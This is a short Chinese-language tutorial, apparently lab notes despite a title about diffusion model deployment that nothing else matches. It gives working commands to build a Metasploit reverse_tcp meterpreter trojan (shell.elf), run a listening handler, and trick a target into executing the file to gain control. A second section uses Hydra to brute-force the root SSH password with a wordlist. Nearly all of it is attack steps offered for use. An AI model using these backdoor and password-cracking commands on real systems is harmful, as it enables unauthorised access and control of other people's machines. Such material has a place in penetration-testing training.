扩散模型实验部署

木马获权实验部署

在实验中，制作shell.elf木马在目标主机中作为启动程序植入后门

首先在Linux下安装渗透测试框架Metasploit：

```
git clone --depth=1 git://github.com/rapid7/metasploit-framework metasploit
cd ./metasploit
# 接着运行msfconsole即可
msfconsole
```

在控制主机中制作木马，设置反射IP地址及端口号

```
msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=控制主机IP lport=5555 -f elf -o shell.elf
```

在控制主机中使用msfconsole中的handler模块，并设置payload，lhost和lport，运行后实现实时监控：

```
# 开启msfconsole
msfconsole

# 使用handler模块
msf6> use exploit/multi/handler

# 设置payload, lhost, lport
msf6 exploit(multi/handler) > set payload /linux/x86/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 控制主机IP
msf6 exploit(multi/handler) > set lport 5555

# 开始运行，进行监听
msf6 exploit(multi/handler) > run
```

生成木马shell.elfh后，将其传入到目标主机中，并诱导其执行文件，即可在本机获取目标主机的权限

```
# 使用命令sysinfo即可查看目标主机信息，则说明获取成功，并且可以创建和删除文件
meterpreter > sysinfo
meterpreter > ls
```

使用字典爆破获取目标主机用户名和密码

使用Hydra获取目标主机用户名和密码（如果已知用户名，则可以直接执行获取）

首先在控制主机上安装依赖和Hydra

```
sudo apt install libssl-dev libssh-dev libidn11-dev libpcre3-dev \
> libgtk2.0-dev libmysqlclient-dev libpq-dev libsvn-dev \
> firebird-dev libmemcached-dev libgpg-error-dev \
> libgcrypt11-dev libgcrypt20-dev

# 将thc-hydra-9.0.tar.gz文件导入并解压Hydra
mkdir hydra
cd hydra/
tar -zxvf thc-hydra-9.0.tar.gz

# 安装
cd thc-hydra-9.0/
./configure
make
sudo make install
sudo make clean

# 验证
hydra -version
```

安装成功后，使用字典对密码进行爆破

```
# 直接爆破root权限密码
hydra -l root -P passlist.txt 目标主机IP ssh
```

成功后会返回成功的用户名和密码

（密码使用pydictor生成）